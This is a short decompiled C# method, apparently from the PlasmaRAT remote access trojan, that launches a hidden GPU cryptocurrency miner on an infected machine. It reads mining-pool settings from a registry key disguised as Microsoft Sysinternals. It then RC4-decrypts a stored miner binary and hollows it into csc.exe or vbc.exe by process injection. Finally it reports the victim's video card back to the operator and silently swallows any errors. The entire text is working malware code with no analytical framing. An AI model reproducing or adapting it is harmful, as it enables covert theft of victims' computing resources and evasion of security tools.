// Token: 0x06000089 RID: 137 RVA: 0x00008BB0 File Offset: 0x00006DB0 public static void BeginGPUMiner() { try { if (!GPUMiner.RanGPUMiner) { string setting = Interaction.GetSetting("Microsoft", "Sysinternals", "vir32", ""); if (Operators.CompareString(setting, string.Empty, false) != 0) { string[] array = Strings.Split(setting, "*", -1, CompareMethod.Binary); string optionalArguments = string.Concat(new string[] { "-a scrypt -o ", array[1], " ", array[2], " -p ", array[3], " -g yes --i -10" }); if (File.Exists(Conversions.ToString(GPUMiner.GPUMinerFile))) { Persistence.AllowAccess(Conversions.ToString(GPUMiner.GPUMinerFile)); byte[] input = MyProject.Computer.FileSystem.ReadAllBytes(Conversions.ToString(GPUMiner.GPUMinerFile)); byte[] array2 = Miner.Proper_RC4(input, Encoding.UTF8.GetBytes(PlasmaRAT.Username)); Array.Reverse(array2, 0, array2.Length); if (mRunpe.InjectPE(array2, RuntimeEnvironment.GetRuntimeDirectory() + "csc.exe", optionalArguments)) { GPUMiner.RanGPUMiner = true; GPUMiner.GPUMinerExecutable = "csc"; } else if (mRunpe.InjectPE(array2, RuntimeEnvironment.GetRuntimeDirectory() + "vbc.exe", optionalArguments)) { GPUMiner.RanGPUMiner = true; GPUMiner.GPUMinerExecutable = "vbc"; } if (GPUMiner.RanGPUMiner) { PlasmaRAT.TalktoChannel("Started GPU Mining on: " + PlasmaRAT.GetVideoCard(), string.Empty); } } } } } catch (Exception ex) { } }